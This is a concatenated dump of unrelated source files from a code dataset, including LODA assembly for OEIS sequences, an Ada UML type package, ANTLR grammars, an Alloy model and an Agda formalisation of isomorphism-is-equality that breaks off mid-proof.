max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
oeis/087/A087267.asm | neoneye/loda-programs | 11 | 24029 | <gh_stars>10-100
; A087267: a(n) = gcd(n, pi(n)) where pi is A000720.
; Submitted by <NAME>
; 1,1,1,2,1,3,1,4,1,2,1,1,1,2,3,2,1,1,1,4,1,2,1,3,1,1,9,1,1,10,1,1,11,1,1,1,1,2,3,4,1,1,1,2,1,2,1,3,1,5,3,1,1,2,1,8,1,2,1,1,1,2,9,2,1,6,1,1,1,1,1,4,1,1,3,1,7,3,1,2,1,2,1,1,1,1,1,1,1,6,1,4,3,2,1,24,1,1,1,25
mov $2,$0
seq $0,720 ; pi(n), the number of primes <= n. Sometimes called PrimePi(n) to distinguish it from the number 3.14159...
mov $1,$0
add $2,1
gcd $1,$2
mov $0,$1
|
source/amf/uml/amf-uml.ads | svn2github/matreshka | 24 | 3491 | <gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
package AMF.UML is
pragma Preelaborate;
type UML_Aggregation_Kind is
(None,
Shared,
Composite);
type UML_Call_Concurrency_Kind is
(Sequential,
Guarded,
Concurrent);
type UML_Connector_Kind is
(Assembly,
Delegation);
type UML_Expansion_Kind is
(Parallel,
Iterative,
Stream);
type UML_Interaction_Operator_Kind is
(Alt_Operator,
Opt_Operator,
Break_Operator,
Par_Operator,
Loop_Operator,
Critical_Operator,
Neg_Operator,
Assert_Operator,
Strict_Operator,
Seq_Operator,
Ignore_Operator,
Consider_Operator);
type UML_Message_Kind is
(Complete,
Lost,
Found,
Unknown);
type UML_Message_Sort is
(Synch_Call,
Asynch_Call,
Asynch_Signal,
Create_Message,
Delete_Message,
Reply);
type UML_Object_Node_Ordering_Kind is
(Unordered,
Ordered,
LIFO,
FIFO);
type UML_Parameter_Direction_Kind is
(In_Parameter,
In_Out_Parameter,
Out_Parameter,
Return_Parameter);
type UML_Parameter_Effect_Kind is
(Create,
Read,
Update,
Delete);
type UML_Pseudostate_Kind is
(Initial_Pseudostate,
Deep_History_Pseudostate,
Shallow_History_Pseudostate,
Join_Pseudostate,
Fork_Pseudostate,
Junction_Pseudostate,
Choice_Pseudostate,
Entry_Point_Pseudostate,
Exit_Point_Pseudostate,
Terminate_Pseudostate);
type UML_Transition_Kind is
(External,
Internal,
Local);
type UML_Visibility_Kind is
(Public_Visibility,
Private_Visibility,
Protected_Visibility,
Package_Visibility);
type Optional_UML_Aggregation_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Aggregation_Kind;
end case;
end record;
type Optional_UML_Call_Concurrency_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Call_Concurrency_Kind;
end case;
end record;
type Optional_UML_Connector_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Connector_Kind;
end case;
end record;
type Optional_UML_Expansion_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Expansion_Kind;
end case;
end record;
type Optional_UML_Interaction_Operator_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Interaction_Operator_Kind;
end case;
end record;
type Optional_UML_Message_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Message_Kind;
end case;
end record;
type Optional_UML_Message_Sort (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Message_Sort;
end case;
end record;
type Optional_UML_Object_Node_Ordering_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Object_Node_Ordering_Kind;
end case;
end record;
type Optional_UML_Parameter_Direction_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Parameter_Direction_Kind;
end case;
end record;
type Optional_UML_Parameter_Effect_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Parameter_Effect_Kind;
end case;
end record;
type Optional_UML_Pseudostate_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Pseudostate_Kind;
end case;
end record;
type Optional_UML_Transition_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Transition_Kind;
end case;
end record;
type Optional_UML_Visibility_Kind (Is_Empty : Boolean := True) is record
case Is_Empty is
when True =>
null;
when False =>
Value : UML_Visibility_Kind;
end case;
end record;
end AMF.UML;
|
Car2018-1/src/main/antlr4/co/edu/javeriana/car/Car.g4 | pabloarizaluna/Car-Kachow- | 0 | 1191 | grammar Car;
@parser::members {
private Car car;
public CarParser(TokenStream input, Car car) {
this(input);
this.car = car;
}
}
start
:
'hello' 'world'
;
//Palabras clave
PROGRAM: 'program';
VAR: 'var';
FUNCTION: 'procedure';
IF: 'if';
ELSE: 'else';
WHILE: 'while';
RF: 'run_foward';
RB: 'run_backwards';
TF: 'turn_left';
TR: 'turn_right';
SET_COLOR: 'set_color';
WRITELN: 'writeln';
//Operadores Aritmeticos
PLUS: '+';
MINUS: '-';
MULT: '*';
DIV: '/';
GT: '>';
LT: '<';
GEQ: '>=';
LEQ: '<=';
EQ: '==';
NEQ: '<>';
ASSIGN: '=';
//Operadores logicos
AND: '&&';
OR: '||';
NOT: '!';
//otros
BRACKET_OPEN: '{';
BRACKET_CLOSE: '}';
PAR_OPEN: '(';
PAR_CLOSE: ')';
COMMA: ',';
//Constantes
TRUE: 'true';
FALSE: 'false';
STRING: '"'[.^"]*'"';
ID: [a-zA-Z_][a-zA-Z0-9_]*;
NUMBER: ('-')?[0-9]+(['.'][0-9]+)?;
WS
:
[ \t\r\n]+ -> skip
; |
alloy4fun_models/trashltl/models/5/m9erb4MFpj2C6fdcB.als | Kaixi26/org.alloytools.alloy | 0 | 2684 | <filename>alloy4fun_models/trashltl/models/5/m9erb4MFpj2C6fdcB.als
open main
pred idm9erb4MFpj2C6fdcB_prop6 {
all f : File | once f in Trash => always f in Trash
}
pred __repair { idm9erb4MFpj2C6fdcB_prop6 }
check __repair { idm9erb4MFpj2C6fdcB_prop6 <=> prop6o } |
oeis/219/A219563.asm | neoneye/loda-programs | 11 | 179991 | ; A219563: Sum(binomial(n+k,k)^5, k=0..n).
; Submitted by <NAME>
; 1,33,8020,3301025,1733984376,1048567813062,694995078406056,491336887915201185,364377975224032162000,280380150421755638519408,222165159124597435189467696,180288439972217748901049985158,149230751849318301857448761484400,125602423480863080624602495191566250,107233925493944108504854577981145725520,92687408156078847493903196475930145022625,80981078239083940551816315054425251629710400,71427002902154878828643302866439137363172788000,63532142160415717238716111777125356807471802703200
mov $2,$0
lpb $0
mov $3,$2
add $3,$0
bin $3,$0
sub $0,1
pow $3,5
add $1,$3
lpe
mov $0,$1
add $0,1
|
oeis/039/A039976.asm | neoneye/loda-programs | 11 | 82839 | ; A039976: An example of a d-perfect sequence.
; Submitted by <NAME>
; 1,1,0,1,0,1,2,0,2,1,1,0,1,0,1,2,2,0,2,2,0,2,0,2,1,1,0,1,1,0,1,0,1,2,0,2,1,1,0,1,0,1,2,2,0,2,2,0,2,0,2,1,0,1,2,2,0,2,0,2,1,0,1,2,2,0,2,0,2,1,1,0,1,1,0,1,0,1,2,0,2,1,1,0,1,0,1,2,0,2,1,1,0,1,0,1,2,2,0,2
seq $0,25235 ; a(n) = (1/2)*s(n+2), where s = A014431.
mod $0,3
|
src/strcpsup.asm | majioa/faststring | 1 | 101188 | ;Fast String code page support functions
.386
.model flat
_TEXT segment dword public use32 'CODE'
WinMain1 segment virtual
@WinMain1:
ret
WinMain1 ends
_TEXT ends
_DATA segment dword public use32 'DATA'
_DATA ends
_BSS segment dword public use32 'BSS'
_BSS ends
DGROUP group _BSS,_DATA
end
|
oeis/192/A192306.asm | neoneye/loda-programs | 11 | 177022 | ; A192306: 1-sequence of reduction of (2n) by x^2 -> x+1.
; Submitted by <NAME>(s4)
; 0,4,10,26,56,116,228,436,814,1494,2704,4840,8584,15108,26418,45938,79496,136988,235180,402420,686550,1168174,1982880,3358416,5676816,9578116,16133338,27132746,45565784,76419524,128006004,214167220,357935614
add $0,1
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $2,$0
add $3,$1
mov $1,$2
lpe
mov $0,$3
sub $0,1
mul $0,2
|
Allvis.Kaylee.Analyzer/Grammars/KayleeParser.g4 | Allvis-AS/Allvis.Kaylee.Analyzer | 0 | 3526 | parser grammar KayleeParser;
options {
tokenVocab = KayleeLexer;
}
parse: (schema | error)* EOF;
error:
UNEXPECTED_CHAR {
throw new FormatException("UNEXPECTED_CHAR=" + $UNEXPECTED_CHAR.text);
};
schema: SCHEMA IDENTIFIER OPEN_BLOCK schemaBody CLOSE_BLOCK;
schemaBody: (entity)*;
entity: (ENTITY | QUERY) IDENTIFIER OPEN_BLOCK entityBody CLOSE_BLOCK;
entityBody: (fields | entityKeys | mutations | entity)*;
fields: FIELDS OPEN_BLOCK fieldsBody CLOSE_BLOCK;
fieldsBody: (field)*;
field:
IDENTIFIER QUESTION_MARK? dtype (
OPEN_BLOCK fieldBody CLOSE_BLOCK
| SCOL
);
fieldBody: (fieldParameterComputed | fieldParameterDefault)*;
// computed = <true|false>;
fieldParameterComputed:
COMPUTED ASSIGN fieldParameterComputedValue SCOL;
fieldParameterComputedValue: BOOLEAN;
// default = <numeric|string|function>;
fieldParameterDefault:
DEFAULT ASSIGN fieldParameterDefaultValue SCOL;
fieldParameterDefaultValue:
numericLiteral
| STRING_LITERAL
| FIELD_PARAMETER_DEFAULT_FUNCTION OPEN_PAR CLOSE_PAR;
// Due to "keys" being a reserved keyword, we need to name it something else.
entityKeys: KEYS OPEN_BLOCK entityKeysBody CLOSE_BLOCK;
entityKeysBody: (
entityKeyPrimary
| entityKeyUnique
| entityKeyReference
)*;
entityKeyPrimary: PRIMARY ASSIGN identifierList SCOL;
entityKeyUnique: UNIQUE OPEN_PAR identifierList CLOSE_PAR SCOL;
entityKeyReference:
REFERENCE OPEN_PAR identifierList CLOSE_PAR ARROW qualified OPEN_PAR identifierList CLOSE_PAR
SCOL;
mutations: MUTATIONS OPEN_BLOCK mutationsBody CLOSE_BLOCK;
mutationsBody: (mutation)*;
mutation: IDENTIFIER OPEN_PAR identifierList CLOSE_PAR SCOL;
qualified: (IDENTIFIER SCHEMA_ACCESSOR)? IDENTIFIER (
DOT IDENTIFIER
)*;
identifierList: IDENTIFIER (COMMA IDENTIFIER)*;
dtype:
DTYPE_BIT
| DTYPE_TINYINT
| DTYPE_INT dtypeIntAutoIncrement?
| DTYPE_BIGINT dtypeBigintAutoIncrement?
| DTYPE_DECIMAL OPEN_PAR dTypeDecimalSize COMMA dtypeDecimalPrecision CLOSE_PAR
| DTYPE_CHAR
| DTYPE_TEXT OPEN_PAR dtypeTextSize CLOSE_PAR
| DTYPE_GUID
| DTYPE_DATE
| DTYPE_VARBINARY OPEN_PAR dtypeVarbinarySize CLOSE_PAR
| DTYPE_BINARY OPEN_PAR dtypeBinarySize CLOSE_PAR
| DTYPE_ROWVERSION;
dtypeIntAutoIncrement: AUTO INCREMENT;
dtypeBigintAutoIncrement: AUTO INCREMENT;
dTypeDecimalSize: UNSIGNED_INTEGER;
dtypeDecimalPrecision: UNSIGNED_INTEGER;
dtypeTextSize: UNSIGNED_INTEGER | MAX;
dtypeVarbinarySize: UNSIGNED_INTEGER | MAX;
dtypeBinarySize: UNSIGNED_INTEGER;
numericLiteral:
MINUS? UNSIGNED_INTEGER
| MINUS? UNSIGNED_FLOAT
| HEX_NUMBER; |
ASM/DOS/MASM/HelloWorld.asm | EricJB77/RepoOfTime | 3 | 88091 | <filename>ASM/DOS/MASM/HelloWorld.asm
.model small
.stach 100h
.data
msg db 'Hello world!$'
.code
start:
mov ah, 09h ; Display the message
lea dx, msg
int 21h
mov ax, 4C00h ; Terminate the executable
int 21h
end start |
src/Univalence-axiom/Isomorphism-is-equality/More.agda | nad/equality | 3 | 11970 | ------------------------------------------------------------------------
-- A large(r) class of algebraic structures satisfies the property
-- that isomorphic instances of a structure are equal (assuming
-- univalence)
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
-- Note that this module uses ordinary propositional equality, with a
-- computing J rule.
-- This module has been developed in collaboration with Thierry
-- Coquand.
module Univalence-axiom.Isomorphism-is-equality.More where
open import Equality.Propositional
hiding (refl) renaming (equality-with-J to eq)
open import Equality
open Derived-definitions-and-properties eq using (refl)
open import Bijection eq hiding (id; _∘_; inverse; step-↔; finally-↔)
open import Equivalence eq as Eq hiding (id; _∘_; inverse)
open import Function-universe eq hiding (id; _∘_)
open import H-level eq as H-level hiding (Proposition)
open import H-level.Closure eq
open import Logical-equivalence using (_⇔_)
open import Preimage eq
open import Prelude as P hiding (Type)
open import Univalence-axiom eq
------------------------------------------------------------------------
-- A record packing up certain assumptions
-- Use of these or similar assumptions is usually not documented in
-- comments below (with remarks like "assuming univalence").
record Assumptions : P.Type₂ where
field
ext₁ : Extensionality (# 1) (# 1)
univ : Univalence (# 0)
univ₁ : Univalence (# 1)
abstract
ext : Extensionality (# 0) (# 0)
ext = lower-extensionality (# 1) (# 1) ext₁
------------------------------------------------------------------------
-- A class of algebraic structures
-- An algebraic structure universe.
mutual
-- Codes for structures.
infixl 5 _▻_
data Code : P.Type₂ where
ε : Code
_▻_ : (c : Code) → Extension c → Code
-- Structures can contain arbitrary "extensions".
record Extension (c : Code) : P.Type₂ where
field
-- An instance-indexed type.
Ext : ⟦ c ⟧ → P.Type₁
-- A predicate specifying when two elements are isomorphic with
-- respect to an isomorphism.
Iso : (ass : Assumptions) →
{I J : ⟦ c ⟧} → Isomorphic ass c I J →
Ext I → Ext J → P.Type₁
-- An alternative definition of Iso.
Iso′ : (ass : Assumptions) →
∀ {I J} → Isomorphic ass c I J →
Ext I → Ext J → P.Type₁
Iso′ ass I≅J x y =
subst Ext (_≃_.to (isomorphism≃equality ass c) I≅J) x ≡ y
field
-- Iso and Iso′ are equivalent.
Iso≃Iso′ :
(ass : Assumptions) →
∀ {I J} (I≅J : Isomorphic ass c I J) {x y} →
Iso ass I≅J x y ≃ Iso′ ass I≅J x y
-- Interpretation of the codes. The elements of ⟦ c ⟧ are instances
-- of the structure encoded by c.
⟦_⟧ : Code → P.Type₁
⟦ ε ⟧ = ↑ _ ⊤
⟦ c ▻ e ⟧ = Σ ⟦ c ⟧ (Extension.Ext e)
-- Isomorphisms.
Isomorphic : Assumptions → (c : Code) → ⟦ c ⟧ → ⟦ c ⟧ → P.Type₁
Isomorphic _ ε _ _ = ↑ _ ⊤
Isomorphic ass (c ▻ e) (I , x) (J , y) =
Σ (Isomorphic ass c I J) λ I≅J → Extension.Iso e ass I≅J x y
-- Isomorphism is equivalent to equality.
isomorphism≃equality : (ass : Assumptions) →
(c : Code) {I J : ⟦ c ⟧} →
Isomorphic ass c I J ≃ (I ≡ J)
isomorphism≃equality _ ε =
↑ _ ⊤ ↔⟨ contractible-isomorphic (↑-closure 0 ⊤-contractible)
(⇒≡ 0 $ ↑-closure 0 ⊤-contractible) ⟩□
lift tt ≡ lift tt □
isomorphism≃equality ass (c ▻ e) {I , x} {J , y} =
(Σ (Isomorphic ass c I J) λ I≅J → Iso e ass I≅J x y) ↝⟨ Σ-cong (isomorphism≃equality ass c)
(λ I≅J → Iso≃Iso′ e ass I≅J) ⟩
(Σ (I ≡ J) λ I≡J → subst (Ext e) I≡J x ≡ y) ↔⟨ Σ-≡,≡↔≡ ⟩□
((I , x) ≡ (J , y)) □
where open Extension
-- Isomorphism is equal to equality (assuming /only/ univalence).
isomorphism≡equality :
(univ : Univalence (# 0))
(univ₁ : Univalence (# 1))
(univ₂ : Univalence (# 2)) →
let ass = record
{ ext₁ = dependent-extensionality univ₂ univ₁
; univ = univ
; univ₁ = univ₁
} in
(c : Code) {I J : ⟦ c ⟧} →
Isomorphic ass c I J ≡ (I ≡ J)
isomorphism≡equality univ univ₁ univ₂ c =
≃⇒≡ univ₁ $ isomorphism≃equality _ c
------------------------------------------------------------------------
-- Reflexivity
-- The isomorphism relation is reflexive.
reflexivity : (ass : Assumptions) → ∀ c I → Isomorphic ass c I I
reflexivity ass c I =
_≃_.from (isomorphism≃equality ass c) (refl I)
-- Reflexivity relates an element to itself.
reflexivityE :
(ass : Assumptions) →
∀ c e I x →
Extension.Iso e ass (reflexivity ass c I) x x
reflexivityE ass c e I x =
_≃_.from (Iso≃Iso′ ass (reflexivity ass c I)) (
subst Ext (to (from (refl I))) x ≡⟨ subst (λ eq → subst Ext eq x ≡ x)
(sym $ right-inverse-of (refl I))
(refl x) ⟩∎
x ∎)
where
open Extension e
open _≃_ (isomorphism≃equality ass c)
-- Unfolding lemma (definitional) for reflexivity.
reflexivity-▻ :
∀ {ass c e I x} →
reflexivity ass (c ▻ e) (I , x) ≡
(reflexivity ass c I , reflexivityE ass c e I x)
reflexivity-▻ = refl _
------------------------------------------------------------------------
-- Recipe for defining extensions
-- Another kind of extension.
record Extension-with-resp (c : Code) : P.Type₂ where
field
-- An instance-indexed type.
Ext : ⟦ c ⟧ → P.Type₁
-- A predicate specifying when two elements are isomorphic with
-- respect to an isomorphism.
Iso : (ass : Assumptions) →
{I J : ⟦ c ⟧} → Isomorphic ass c I J →
Ext I → Ext J → P.Type₁
-- Ext, seen as a predicate, respects isomorphisms.
resp : (ass : Assumptions) →
∀ {I J} → Isomorphic ass c I J →
Ext I → Ext J
-- The resp function respects reflexivity.
resp-refl : (ass : Assumptions) →
∀ {I} (x : Ext I) →
resp ass (reflexivity ass c I) x ≡ x
-- An alternative definition of Iso.
Iso″ : (ass : Assumptions) →
{I J : ⟦ c ⟧} → Isomorphic ass c I J →
Ext I → Ext J → P.Type₁
Iso″ ass I≅J x y = resp ass I≅J x ≡ y
field
-- Iso and Iso″ are equivalent.
Iso≃Iso″ :
(ass : Assumptions) →
∀ {I J} (I≅J : Isomorphic ass c I J) {x y} →
Iso ass I≅J x y ≃ Iso″ ass I≅J x y
-- Another alternative definition of Iso.
Iso′ : (ass : Assumptions) →
∀ {I J} → Isomorphic ass c I J →
Ext I → Ext J → P.Type₁
Iso′ ass I≅J x y =
subst Ext (_≃_.to (isomorphism≃equality ass c) I≅J) x ≡ y
abstract
-- Every element is isomorphic to itself, transported along the
-- "outer" isomorphism.
isomorphic-to-itself″ :
(ass : Assumptions) →
∀ {I J} (I≅J : Isomorphic ass c I J) {x} →
Iso″ ass I≅J x
(subst Ext (_≃_.to (isomorphism≃equality ass c) I≅J) x)
isomorphic-to-itself″ ass I≅J {x} = transport-theorem′
Ext
(Isomorphic ass c)
(_≃_.surjection $ inverse $ isomorphism≃equality ass c)
(resp ass)
(λ _ → resp-refl ass)
I≅J
x
-- Iso and Iso′ are equivalent.
Iso≃Iso′ :
(ass : Assumptions) →
∀ {I J} (I≅J : Isomorphic ass c I J) {x y} →
Iso ass I≅J x y ≃ Iso′ ass I≅J x y
Iso≃Iso′ ass I≅J {x} {y} = record
{ to = to
; is-equivalence =
_⇔_.from (Is-equivalence≃Is-equivalence-CP _) λ y →
(from y , right-inverse-of y) , irrelevance y
}
where
-- This is the core of the definition. I could have defined
-- Iso≃Iso′ ... = I≃I′. The rest is only included in order to
-- control how much Agda unfolds the code.
I≃I′ =
Iso ass I≅J x y ↝⟨ Iso≃Iso″ ass I≅J ⟩
Iso″ ass I≅J x y ↝⟨ ≡⇒≃ $ cong (λ z → z ≡ y) $ isomorphic-to-itself″ ass I≅J ⟩□
Iso′ ass I≅J x y □
to = _≃_.to I≃I′
from = _≃_.from I≃I′
abstract
right-inverse-of : ∀ x → to (from x) ≡ x
right-inverse-of = _≃_.right-inverse-of I≃I′
irrelevance : ∀ y (p : to ⁻¹ y) → (from y , right-inverse-of y) ≡ p
irrelevance = _≃_.irrelevance I≃I′
-- An extension constructed from the fields above.
extension : Extension c
extension = record { Ext = Ext; Iso = Iso; Iso≃Iso′ = Iso≃Iso′ }
-- Every element is isomorphic to itself, transported (in another
-- way) along the "outer" isomorphism.
isomorphic-to-itself :
(ass : Assumptions) →
∀ {I J} (I≅J : Isomorphic ass c I J) x →
Iso ass I≅J x (resp ass I≅J x)
isomorphic-to-itself ass I≅J x =
_≃_.from (Iso≃Iso″ ass I≅J) (refl (resp ass I≅J x))
abstract
-- Simplification lemmas.
resp-refl-lemma :
(ass : Assumptions) →
∀ I x →
resp-refl ass x ≡
_≃_.from (≡⇒≃ $ cong (λ z → z ≡ x) $
isomorphic-to-itself″ ass (reflexivity ass c I))
(subst (λ eq → subst Ext eq x ≡ x)
(sym $ _≃_.right-inverse-of
(isomorphism≃equality ass c)
(refl I))
(refl x))
resp-refl-lemma ass I x =
let rfl = reflexivity ass c I
iso≃eq = λ {I J} → isomorphism≃equality ass c {I = I} {J = J}
rio = right-inverse-of iso≃eq (refl I)
lio = left-inverse-of (inverse iso≃eq) (refl I)
sx≡x = subst (λ eq → subst Ext eq x ≡ x) (sym rio) (refl x)
sx≡x-lemma =
cong (λ eq → subst Ext eq x) rio ≡⟨ sym $ trans-reflʳ _ ⟩
trans (cong (λ eq → subst Ext eq x) rio)
(refl x) ≡⟨ sym $ subst-trans (cong (λ eq → subst Ext eq x) rio) ⟩
subst (λ z → z ≡ x)
(sym $ cong (λ eq → subst Ext eq x) rio)
(refl x) ≡⟨ cong (λ eq → subst (λ z → z ≡ x) eq (refl x)) $ sym $
cong-sym (λ eq → subst Ext eq x) rio ⟩
subst (λ z → z ≡ x)
(cong (λ eq → subst Ext eq x) $ sym rio)
(refl x) ≡⟨ sym $ subst-∘ (λ z → z ≡ x) (λ eq → subst Ext eq x) (sym rio) ⟩∎
subst (λ eq → subst Ext eq x ≡ x) (sym rio) (refl x) ∎
lemma₁ =
trans (sym lio) rio ≡⟨ cong (λ eq → trans (sym eq) rio) $ left-inverse-of∘inverse iso≃eq ⟩
trans (sym rio) rio ≡⟨ trans-symˡ rio ⟩∎
refl (refl I) ∎
lemma₂ =
elim-refl (λ {I J} _ → Ext I → Ext J) (λ _ e → e) ≡⟨⟩
cong (subst Ext) (refl (refl I)) ≡⟨ cong (cong (subst Ext)) $ sym lemma₁ ⟩∎
cong (subst Ext) (trans (sym lio) rio) ∎
lemma₃ =
cong (λ r → r x)
(elim-refl (λ {I J} _ → Ext I → Ext J) (λ _ e → e)) ≡⟨ cong (cong (λ r → r x)) lemma₂ ⟩
cong (λ r → r x) (cong (subst Ext) (trans (sym lio) rio)) ≡⟨ cong-∘ (λ r → r x) (subst Ext) (trans (sym lio) rio) ⟩
cong (λ eq → subst Ext eq x) (trans (sym lio) rio) ≡⟨ cong-trans (λ eq → subst Ext eq x) (sym lio) rio ⟩
trans (cong (λ eq → subst Ext eq x) (sym lio))
(cong (λ eq → subst Ext eq x) rio) ≡⟨ cong (λ eq → trans eq (cong (λ eq → subst Ext eq x) rio)) $
cong-sym (λ eq → subst Ext eq x) lio ⟩∎
trans (sym (cong (λ eq → subst Ext eq x) lio))
(cong (λ eq → subst Ext eq x) rio) ∎
in
resp-refl ass x ≡⟨ sym $ trans-reflʳ _ ⟩
trans (resp-refl ass x) (refl x) ≡⟨ cong (trans (resp-refl ass x)) $ trans-symˡ (subst-refl Ext x) ⟩
trans (resp-refl ass x)
(trans (sym $ subst-refl Ext x) (subst-refl Ext x)) ≡⟨ sym $ trans-assoc _ (sym $ subst-refl Ext x) (subst-refl Ext x) ⟩
trans (trans (resp-refl ass x) (sym $ subst-refl Ext x))
(subst-refl Ext x) ≡⟨ cong (trans (trans (resp-refl ass x) (sym $ subst-refl Ext x)))
lemma₃ ⟩
trans (trans (resp-refl ass x) (sym $ subst-refl Ext x))
(trans (sym (cong (λ eq → subst Ext eq x) lio))
(cong (λ eq → subst Ext eq x) rio)) ≡⟨ sym $ trans-assoc _ _ (cong (λ eq → subst Ext eq x) rio) ⟩
trans (trans (trans (resp-refl ass x) (sym $ subst-refl Ext x))
(sym (cong (λ eq → subst Ext eq x) lio)))
(cong (λ eq → subst Ext eq x) rio) ≡⟨ cong₂ trans
(sym $ transport-theorem′-refl Ext (Isomorphic ass c) (inverse iso≃eq)
(resp ass) (λ _ → resp-refl ass) x)
sx≡x-lemma ⟩
trans (isomorphic-to-itself″ ass rfl) sx≡x ≡⟨ sym $ subst-trans (isomorphic-to-itself″ ass rfl) ⟩
subst (λ z → z ≡ x) (sym $ isomorphic-to-itself″ ass rfl) sx≡x ≡⟨ subst-in-terms-of-inverse∘≡⇒↝ equivalence
(isomorphic-to-itself″ ass rfl) (λ z → z ≡ x) _ ⟩∎
from (≡⇒≃ $ cong (λ z → z ≡ x) $ isomorphic-to-itself″ ass rfl)
sx≡x ∎
where open _≃_
isomorphic-to-itself-reflexivity :
(ass : Assumptions) →
∀ I x →
isomorphic-to-itself ass (reflexivity ass c I) x ≡
subst (Iso ass (reflexivity ass c I) x)
(sym $ resp-refl ass x)
(reflexivityE ass c extension I x)
isomorphic-to-itself-reflexivity ass I x =
let rfl = reflexivity ass c I
r-r = resp-refl ass x in
from (Iso≃Iso″ ass rfl) (refl (resp ass rfl x)) ≡⟨ elim¹ (λ {y} resp-x≡y → from (Iso≃Iso″ ass rfl) (refl (resp ass rfl x)) ≡
subst (Iso ass rfl x) (sym resp-x≡y)
(from (Iso≃Iso″ ass rfl) resp-x≡y))
(refl _) r-r ⟩
subst (Iso ass rfl x) (sym r-r) (from (Iso≃Iso″ ass rfl) r-r) ≡⟨ cong (subst (Iso ass rfl x) (sym r-r) ∘ from (Iso≃Iso″ ass rfl))
(resp-refl-lemma ass I x) ⟩∎
subst (Iso ass rfl x) (sym r-r)
(from (Iso≃Iso″ ass rfl)
(from
(≡⇒≃ $ cong (λ z → z ≡ x)
(isomorphic-to-itself″ ass rfl))
(subst (λ eq → subst Ext eq x ≡ x)
(sym $ right-inverse-of (isomorphism≃equality ass c)
(refl I)) (refl x)))) ∎
where open _≃_
------------------------------------------------------------------------
-- Type extractors
record Extractor (c : Code) : P.Type₂ where
field
-- Extracts a type from an instance.
Type : ⟦ c ⟧ → P.Type₁
-- Extracts an equivalence relating types extracted from
-- isomorphic instances.
--
-- Perhaps one could have a variant of Type-cong that is not based
-- on any "Assumptions", and produces logical equivalences (_⇔_)
-- instead of equivalences (_≃_). Then one could (hopefully)
-- define isomorphism without using any assumptions.
Type-cong : (ass : Assumptions) →
∀ {I J} → Isomorphic ass c I J → Type I ≃ Type J
-- Reflexivity is mapped to the identity equivalence.
Type-cong-reflexivity :
(ass : Assumptions) →
∀ I → Type-cong ass (reflexivity ass c I) ≡ Eq.id
-- Constant type extractor.
[_] : ∀ {c} → P.Type₁ → Extractor c
[_] {c} A = record
{ Type = λ _ → A
; Type-cong = λ _ _ → Eq.id
; Type-cong-reflexivity = λ _ _ → refl _
}
-- Successor type extractor.
infix 6 1+_
1+_ : ∀ {c e} → Extractor c → Extractor (c ▻ e)
1+_ {c} {e} extractor = record
{ Type = Type ∘ proj₁
; Type-cong = λ ass → Type-cong ass ∘ proj₁
; Type-cong-reflexivity = λ { ass (I , x) →
Type-cong ass (reflexivity ass c I) ≡⟨ Type-cong-reflexivity ass I ⟩∎
Eq.id ∎ }
}
where
open Extractor extractor
------------------------------------------------------------------------
-- An extension: types
-- Extends a structure with a type.
A-type : ∀ {c} → Extension c
A-type {c} = record
{ Ext = λ _ → P.Type
; Iso = λ _ _ A B → ↑ _ (A ≃ B)
; Iso≃Iso′ = λ ass I≅J {A B} →
let I≡J = _≃_.to (isomorphism≃equality ass c) I≅J in
↑ _ (A ≃ B) ↔⟨ ↑↔ ⟩
